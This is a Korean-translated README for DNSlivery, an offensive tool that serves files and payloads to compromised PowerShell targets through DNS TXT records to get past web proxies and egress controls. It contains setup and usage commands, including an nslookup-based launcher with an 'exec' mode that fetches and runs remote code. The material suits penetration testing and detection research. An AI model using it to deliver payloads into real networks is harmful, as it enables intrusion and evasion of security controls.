
DNS를 통한 간편한 파일 및 페이로드 전달
DNS를 통한 간편한 파일 및 페이로드 전달.
이 프로젝트는 원래 PowerDNS와 Paul's Security Weekly 팟캐스트 #590(youtu.be/CP6cIwFJswQ)에서 Joff Thyer의 기술 세그먼트에서 영감을 받았습니다.
DNSlivery는 DNS를 전송 프로토콜로 사용하여 대상에 파일을 전달할 수 있게 해줍니다.
기능:

일반적인 웹 전달이 불가능하고 전용 클라이언트 소프트웨어 없이 손상된 대상에 파일 및/또는 페이로드를 쉽게 전달합니다. 이는 외부 웹 트래픽이 금지되거나 호기심 많은 웹 프록시에 의해 검사되는 제한된 환경에 적용됩니다.

더 완전한 DNS 터널링 도구(dnscat2 및 iodine 등)가 이미 존재하지만, 모두 대상에서 전용 클라이언트를 실행해야 합니다. 문제는 이러한 제한된 환경에서 클라이언트를 전달할 방법이 DNS 외에는 없을 가능성이 높다는 것입니다. 즉, 이러한 도구로 DNS 통신 채널을 구축하려면 이미 DNS 통신 채널이 있어야 합니다.
반면, DNSlivery는 서버에서 대상으로의 단방향 통신만 제공하지만 이를 위해 전용 클라이언트가 필요하지 않습니다. 따라서 DNS를 통해 안정적인 양방향 통신 채널을 구축해야 한다면, DNSlivery를 사용하여 더 고급 DNS 터널링 도구의 클라이언트를 대상에 전달하세요.
대부분의 DNS 터널링 도구와 마찬가지로 DNSlivery는 TXT 레코드를 사용하여 파일 내용을 base64 표현으로 저장합니다. 그러나 동작을 위해 완전한 DNS 서버를 설정할 필요는 없습니다. 대신 scapy 라이브러리를 사용하여 들어오는 DNS 패킷을 수신하고 원하는 응답을 생성합니다.

대부분의 파일은 단일 TXT 레코드에 맞지 않으므로 DNSlivery는 파일의 base64 청크를 포함하는 여러 개의 순서가 지정된 레코드를 생성합니다. 예를 들어, 위 다이어그램은 file이라는 파일의 42번째 청크 전달을 보여줍니다.
대상에 전용 클라이언트 없이 모든 base64 청크를 검색하고 다시 조합하기 위해 DNSlivery는 모든 파일에 대해 다음을 생성합니다:

이 2단계 전달 프로세스는 단일 TXT 레코드에 맞지 않는 스테이저 기능(예: 손실된 DNS 응답 처리)을 추가하는 데 필요합니다.
현재 PowerShell 대상만 지원됩니다. 그러나 DNSlivery는 bash 또는 python과 같은 추가 대상을 지원하도록 개선될 수 있습니다. 이 기능이 구현되기를 원하신다면 @no0be에게 알려주세요.
DNSlivery는 복잡한 서버 인프라를 구축할 필요가 없습니다. 실제로 두 가지 간단한 요구 사항만 있습니다:
NS 레코드를 생성할 수 있어야 함udp/53 트래픽을 수신할 수 있는 Linux 서버가 있어야 함첫 번째 단계는 도메인에 새 NS 레코드를 생성하여 DNSlivery를 실행할 서버에 하위 도메인을 위임하는 것입니다. 예를 들어, dnsd.no0.be 하위 도메인을 vps.no0.be 서버에 위임하기 위해 다음 레코드를 생성했습니다.
dnsd IN NS vps.no0.be.
영역이 타사 공급업체에서 관리되는 경우 해당 문서를 참조하여 NS 레코드를 생성하세요.
DNSlivery를 실행하기 위한 유일한 요구 사항은 python3과 해당 scapy 라이브러리입니다.
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt
DNSlivery는 지정된 디렉토리(기본값은 pwd)의 모든 파일을 제공하며 들어오는 udp/53 패킷을 수신하려면 루트 권한으로 실행해야 합니다.
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver
DNSlivery - Easy files and payloads delivery over DNS
positional arguments:
interface interface to listen to DNS traffic
domain FQDN name of the DNS zone
nameserver FQDN name of the server running DNSlivery
optional arguments:
-h, --help show this help message and exit
-p PATH, --path PATH path of directory to serve over DNS (default: pwd)
-s SIZE, --size SIZE size in bytes of base64 chunks (default: 255)
-v, --verbose increase verbosity
예시:
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery
DNSlivery - Easy files and payloads delivery over DNS
[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...
도메인 이름에 허용되는 문자 집합은 UNIX 파일 이름보다 훨씬 제한적이므로(RFC1035 참조), DNSlivery는 필요 시 정규화를 수행합니다.
예시:
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)
현재 정규화 코드는 중복 파일 이름이나 크기 제한을 고려하지 않으므로 완벽하지 않다는 점에 유의하세요.
대상에서 원하는 파일의 전용 TXT 레코드를 요청하여 실행기(launcher)를 검색하는 것으로 시작하세요. 다음 세 가지 실행기가 지원됩니다:
| 동작 | 실행기 |
|---|
nslookup -type=txt [filename].[stager].[domain]
그런 다음 DNS 응답에 인용된 실행기를 복사하여 PowerShell 콘솔에 붙여넣기만 하면 대상에서 파일을 검색할 수 있습니다.
예시:

| 설명 |
|---|
| 출력 | [filename].print.[domain] | (기본값) 전달된 파일을 콘솔에 출력 |
| 실행 | [filename].exec.[domain] | 전달된 파일 실행 (스크립트에 유용) |
| 저장 | [filename].save.[domain] | 전달된 파일을 디스크에 저장 (바이너리에 유용) |